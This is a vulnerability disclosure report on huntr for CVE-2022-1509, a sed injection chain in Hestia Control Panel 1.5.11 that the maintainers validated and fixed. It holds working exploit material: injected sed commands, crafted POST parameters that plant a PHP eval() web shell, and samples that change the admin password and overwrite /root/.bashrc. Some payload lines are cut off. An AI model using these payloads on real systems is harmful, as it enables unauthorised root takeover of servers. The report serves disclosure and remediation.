huntr

Sed Injection Vulnerability in hestiacp/hestiacp

0

✓ Valid Reported on Apr 22nd 2022

Description

In Hestia Control Panel 1.5.11, several v-scripts (shell scripts) have sed injection vulnerabilities. By chaining these vulnerabilities, an authenticated remote attacker with low privileges can execute arbitrary code under root context.
Sed injection vulnerabilities exist in the following files:
/usr/local/hestia/bin/v-change-user-ns
/usr/local/hestia/bin/v-change-user-theme
/usr/local/hestia/bin/v-change-user-config-value
/usr/local/hestia/bin/v-change-user-role
All four of these files use `update_user_value()` in `/usr/local/hestia/func/main.sh` .
If the string is not properly sanitized before `update_user_value()` is called, sed injection will occur at the following line in `update_user_value()` .

```
        sed -i "$lnr i\\$key='${3}'" $HESTIA/data/users/$1/user.conf
```

If code exists within `update_user_value()` to remove LF, it would be a fundamental solution. However, it seems that sometimes sed is used directly in v-scripts rather than in a function in `main.sh` (as in `v-add-dns-on-web-alias`). So it appears that each script on the side that calls `update_user_value()` also needs to sanitize the strings.
Note that for `/usr/local/hestia/bin/v-add-dns-on-web-alias` , there is potentially a sed injection bug, although it may be difficult to exploit this bug alone via the web.

What Is Sed Injection?

a useful trick of sed:

```
$ after='X'; echo abcbdbe | sed "s/b/$after/g"
aXcXdXe
```

weird, but not vulnerable

weird, but not vulnerable...

```
$ after='&&&&'; echo abcbdbe | sed "s/b/$after/g"
abbbbcbbbbdbbbbe
```

a crafted string was given:

```
$ after='/;edate;#'; echo abcbdbe | sed "s/b/$after/g"
Sat Apr 23 08:10:41 JST 2022
acbdbe
```

`';'` does not always separate sed code.

```
$ after='/;edate;echo '; echo abcbdbe | sed "s/b/$after/g"
Sat Apr 23 08:13:13 JST 2022
/g
acbdbe
```

`e` command is a GNU sed extension.

```
$ echo a | sed edate
Sat Apr 23 08:15:10 JST 2022
a
$ echo a | sed --posix edate
sed: -e expression #1, char 1: unknown command: `e'
$ echo a | busybox sed edate
sed: unsupported command e
$ sed --version | head -n1
sed (GNU sed) 4.7
$ busybox | head -n1
BusyBox v1.30.1 (Ubuntu 1:1.30.1-4ubuntu6.4) multi-call binary.
```

an attacker could use `w` command:

```
$ after='/;s/.*/hacked/;whoge.txt
#'
$ echo abcbdbe | busybox sed "s/b/$after/g"
$ echo abcbdbe | busybox sed  s/b/$after/g
hacked


$ cat hoge.txt
hacked
```

Proof of Concept (v-change-user-ns)

In `v-change-user-ns` you will find the following lines.

```
    ns3=$(echo "$4" | sed -e 's/\.*$//g' -e 's/^\.*//g')
    is_format_valid 'ns3'
```

`is_format_valid()` calls `is_domain_format_valid()` if the string `'ns3'` is passed as an argument. And `is_domain_format_valid()` does not reject strings containing LF.
Note that `v-change-user-ns` also exists in VestaCP. However, in VestaCP 1.0.0-6, the `echo "$4" | sed ...` part of the above code is `echo $4 | sed ...` , and as a result, `$ns3` seems to be a string that does not contain LF.
Well then, let's try to cause an actual sed injection.
First, create a HestiaCP user named `testuser2` . As for `ROLE` , `'user'` is fine. This is the default.
CAUTION: At this stage, you may want to back up your `/usr/local/hestia/data/users/testuser2/user.conf` .
Then, go to `/usr/local/hestia/bin/` and execute the following command.

```
$ sudo ./v-change-user-ns testuser2 a b 'c
1edate
r'
```

This attempt will corrupt `/usr/local/hestia/data/users/testuser2/user.conf` . If the output of `date` is mixed in on the first line, it is evidence that sed injection is occurring.
In the following example, shutdown may begin within a few minutes.

```
$ sudo ./v-change-user-ns testuser2 a b 'c
1eshutdown
r'
```

These samples are, so to speak, "PoC of a potential sed injection bug". They administrators to check whether `v-change-user-ns` under their control are potentially vulnerable. If you can reproduce on the command line, I can say the following: if an attacker can execute the above commands simply by sending crafted strings via the web, then the attacker can execute arbitrary OS commands remotely.

However, the use of white-space characters is prevented by `is_domain_format_valid()` in `main.sh` , so an attacker cannot manipulate the system at will. It is difficult to pass arguments to OS commands.
If backslashes were available, an attacker could use `\x20` to represent a white-space character. But backslashes are still prevented by `is_domain_format_valid()` .
If slashes were available, an attacker could overwrite any file with `w` command. But slashes are also blocked by `is_domain_format_valid()` . So the only files that an attacker can create/overwrite with the `w` command are those in the current directory. In an attack via the web, the current directory would be, for example, `/usr/local/hestia/web/edit/user` .
An attacker is under many restrictions, however, with careful build-up of sed code, the attacker can do a lot of things. I will now show how an attacker can set up a backdoor by sending three crafted HTTP requests via the web.

STEP1:

Restore `/usr/local/hestia/data/users/testuser2/user.conf` . And check to see if a line beginning with `NS=` exists.
And log in normally with `testuser2` via the web.
Then, configure your browser to pass through a proxy such as Burp Suite.
And go to the "Edit User" page, and click "Save" without changing anything.
Then rewrite the POST request intercepted by the proxy. And add the following parameters:

```
&v_ns1=a&v_ns2=b&v_ns3=c%0As%5BNAME%5BNS%5Bg%0Arindex.php%0Aq%0Ar
```

As a result of this POST request, `/usr/local/hestia/data/users/testuser2/user.conf` has been changed completely. It is not Prototype anymore. It is now almost identical to `/usr/local/hestia/web/edit/user/index.php` .
Note that if you try to do this using only a bookmarklet without using a proxy, the line breaks will be `%0D%0A` and it may not work.

STEP2:

Please do not repair `/usr/local/hestia/data/users/testuser2/user.conf` as it is.
If you move to another page, it will become a little strange, so do nothing and click "Save" again.
Then rewrite the POST request intercepted by the proxy. add the following p

```
&v_ns1=a&v_ns2=b&v_ns3=c%0Awhoge.txt%0Ar
```

The appearance of the file `/usr/local/hestia/web/edit/user/hoge.txt` is a sign of success.

With the default configuration, this file may be viewable via the web. In my testing environment, the URL is as follows:

```
https://localhost:8083/edit/user/hoge.txt
```

STEP3:

Do nothing and click "Save" again. And rewrite the POST request intercepted by the proxy. The last one is a bit long.

```
&v_ns1=a&v_ns2=b&v_ns3=c%0A1h%0A18H%0A35s%5BHESTIA.CMD.%5B%5B%0A35s%5Bv-lis
```

This third request creates a new file `/usr/local/hestia/web/edit/user/backdoor.php`. The content is just the following three lines. Just pass the received string to `eval()`.

```
<?php
    $user=$_GET['user'];
sprintf(" ".eval($user)." ", $output, $return_var);
```

The injected sed code is as follows:

```
1h
18H
35s[HESTIA.CMD.[[
35s[v-list-user[[
35s[exec[sprintf[g
35s[escapeshellarg[eval[g
35s[v.username[user[
35s[json[[
35H
35x
35wbackdoor.php
r
```

"1" , "18" , "35" , and so on indicate which lines you want. You may need to change these depending on your situation. So we refer to the contents of hoge.txt generated in STEP2.

backdoor.php sample (1) show phpinfo

```
https://localhost:8083/edit/user/backdoor.php?user=phpinfo()%3b
```

The string passed to `eval()` is the following:

```
phpinfo();
```

backdoor.php sample (2) change admin password

```
https://localhost:8083/edit/user/backdoor.php?user=exec(%22%2fusr%2fbin%2fs
```

The string passed to `eval()` is the following:

```
exec("/usr/bin/sudo /usr/local/hestia/bin/v-change-user-password admin hell
```

backdoor.php sample (3) overwrites /root/.bashrc with vulnerable v-change-user-role

CAUTION: This will corrupt `/usr/local/hestia/data/users/testuser2/user.conf` . And It may not work unless you repair `user.conf` first or you specify a different user who is not `testuser2` . If another user is specified, `user.conf` of the specified user will be corrupted.

```
https://localhost:8083/edit/user/backdoor.php?user=exec(%22%2fusr%2fbin%2fs
```

The string passed to `eval()` is the following:

```
exec("/usr/bin/sudo /usr/local/hestia/bin/v-change-user-role testuser2 ad
```

backdoor.php sample (4) overwrites /root/.bashrc with v-add-dns-on-web-alias bug

```
https://localhost:8083/edit/user/backdoor.php?user=exec(%22%2fusr%2fbin%2fs
```

The string passed to `eval()` is the following:

```
exec("/usr/bin/sudo /usr/local/hestia/bin/v-add-dns-on-web-alias testuser2
```

Proof of Concept (v-change-user-theme)

I will simplify the description since it is almost identical to `v-change-user-ns`. Note that unlike HestiaCP, `v-change-user-theme` does not seem to exist in VestaCP 1.0.0-6.
CAUTION: These attempts will corrupt `/usr/local/hestia/data/users/testuser2/user.conf`.

by command line:

```
$ sudo ./v-change-user-theme testuser2 'dark
1edate
r'
```

via the web:

Log in normally with `testuser2`, go to the "Edit User" page, and click "Save". And intercept POST requests by a proxy.

STEP1:

```
&v_user_theme=dark%0Arindex.php%0Aq%0Ar
```

STEP2:

(If you suddenly see a white background by STEP1, do not worry about it and click "Save" as it is.)

```
&v_user_theme=dark%0Awhoge.txt%0Ar
```

STEP3:

```
&v_user_theme=dark%0A2h%0A19H%0A36s%2CHESTIA.CMD.%2C%2C%0A36s%2Cv-list-user
```

injected sed code:

```
2h
19H
36s,HESTIA.CMD.,,
36s,v-list-user,,
36s,exec,sprintf,g
36s,escapeshellarg,eval,g
36s,v.username,user,
36s,json,,
36H
36x
36wbackdoor.php
r
```

Proof of Concept (v-change-user-config-value)

I will simplify the description since it is almost identical to `v-change-user-ns` . Also, I will skip the explanation of how to exploit via `v-change-user-sort-order` . And note that unlike HestiaCP, `v-change-user-config-value` does not seem to exist in VestaCP 1.0.0-6. **CAUTION:** These attempts will corrupt `/usr/local/hestia/data/users/testuser2/user.conf` .

by command line:

```
$ sudo ./v-change-user-config-value testuser2 name 'a
1edate
'
```

```
r
```

via the web:

Log in normally with `testuser2` , go to the "Edit User" page, and click "Save". And intercept POST requests by proxy.

STEP1:

```
&v_login_use_iplist=on&v_login_allowed_ips=a%0A1rindex.php%0As%2Cyes%2Cno%2
```

STEP2:

```
&v_login_use_iplist=on&v_login_allowed_ips=a%0Awhoge.txt%0As%2Cyes%2Cno%2C%
```

STEP3:

```
&v_login_use_iplist=on&v_login_allowed_ips=a%0A2h%0A19H%0A36s%2CHESTIA.CMD.
```

injected sed code:

```
2h
19H
36s,HESTIA.CMD.,,
36s,v-list-user,,
36s,exec,sprintf,g
36s,escapeshellarg,eval,g
36s,v.username,user,
36s,json,,
36H
36x
36wbackdoor.php
r
```

Proof of Concept (v-change-user-role)

In this case, the user must be `admin` (or a user that `ROLE` is `'admin'`) to attack via the web.
Alternatively, the attackers will call `v-change-user-role` directly from a backdoor that they have set up in advance.
Note that unlike HestiaCP, `v-change-user-role` does not seem to exist in VestaCP 1.0.0-6.
CAUTION: These attempts will corrupt `/usr/local/hestia/data/users/testuser2/user.conf` .

by command line:

```
$ sudo ./v-change-user-role testuser2 'admin
1edate;#'
```

via the web:

Log in normally with `admin` (or a user whose usename is not `testuser2` and whose `ROLE` is `'admin'`), go to `testuser2` 's "Edit User" page, and click "Save". And intercept a POST request by a proxy.
Add the following parameter:

```
&v_role=admin%0A1eprintf%20%27%5Cn%5Cn%23%20hacked%5Cn%27%20%3E%3E%20%2Froc
```

Since there is no such restriction that white-space characters cannot be used, `/root/.bashrc` can be overwritten at once with only one rewritten POST request above.

My Testing Environment:

```
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.4 LTS
Release:    20.04
Codename:   focal
$ uname -a
Linux test1.example.com 5.13.0-40-generic #45~20.04.1-Ubunt
$ dpkg -l | grep -i '^....hestia'
```

```
ii  hestia                                     1.5.11
ii  hestia-nginx                               1.21.5
ii  hestia-php                                 7.4.27-1

$ dpkg -l | grep -i '^....bash '
ii  bash                                       5.0-6ubuntu1.2
$ dpkg -l | grep -i '^....sed'
ii  sed                                        4.7-1
```

Impact

An authenticated remote attacker with low privileges can execute arbitrary code under root context.

Occurrences

v-change-user-sort-order L25-L37

It might be better to have a process to remove LF in `"$sort_order"` .

main.sh L1069

This `is_role_valid()` is called from `v-change-user-role` . I feel this `^admin|user$` should be `^admin$|^user$` .

v-change-user-config-value L26-L37

Besides checking with `is_common_format_valid()` , it might be better to have a process to remove LF in `"$value"` .

v-change-user-ns L42-L43

In VestaCP 1.0.0-6, for this part, it is `echo $4 | sed ...` , and as a result LF are removed. I feel it would be better to use something like `echo "$4" | head -n1 | sed` the intent.

v-change-user-theme L26-L41

Besides checking with `is_common_format_valid()` , it might be better to have a process to remove LF in `"$theme"` . Also, the line where grep is used do not appear to be working well.

CVE
CVE-2022-1509
(Published)

Vulnerability Type
CWE-20: Improper Input Validation

Severity
Critical (9.9)

Registry
Other

Affected Version
1.5.11

Visibility
Public

Status
Fixed

Found by

cleemy desu wayo
@cleemy-desu-wayo
master

This report was seen 1,049 times.

We are processing your report and will contact the **hestiacp** team within 24 hours. 7 months ago

Chat with us

cleemy desu wayo modified the report 7 months ago

cleemy desu wayo modified the report 7 months ago

cleemy desu wayo modified the report 7 months ago

cleemy 7 months ago

Researcher

I have added a description of what sed injection is.

We have contacted a member of the **hestiacp** team and are waiting to hear back 7 months ago

A **hestiacp/hestiacp** maintainer has acknowledged this report 7 months ago

cleemy desu wayo modified the report 7 months ago

cleemy desu wayo modified the report 7 months ago

cleemy 7 months ago

Researcher

i have added a description about "PoC of a potential sed injection bug"

cleemy desu wayo modified the report 7 months ago

cleemy 7 months ago

Researcher

i have added a paragraph beginning "If slashes were available, an attacker could ..."

Jaap Marcus validated this vulnerability 7 months ago

cleemy desu wayo has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Jaap Marcus marked this as fixed in **1.5.12** with commit **d50f95** 7 months ag

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

v-change-user-config-value#L26-L37 has been validated ✓

v-change-user-sort-order#L25-L37 has been validated ✓

v-change-user-ns#L42-L43 has been validated ✓

main.sh#L1069 has been validated ✓

v-change-user-theme#L26-L41 has been validated ✓

Jaap Marcus 7 months ago

@admin please issue and publish the CVE for this issue

Jaap Marcus 7 months ago

@researcher All issues seems valid after investigations we found more checks to be vulnerable for the same kind of attack.

Jamie Slome 7 months ago Admin

Sorted 👍

Sign in to join this conversation

Chat with us

part of

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

company

about

team

Chat with us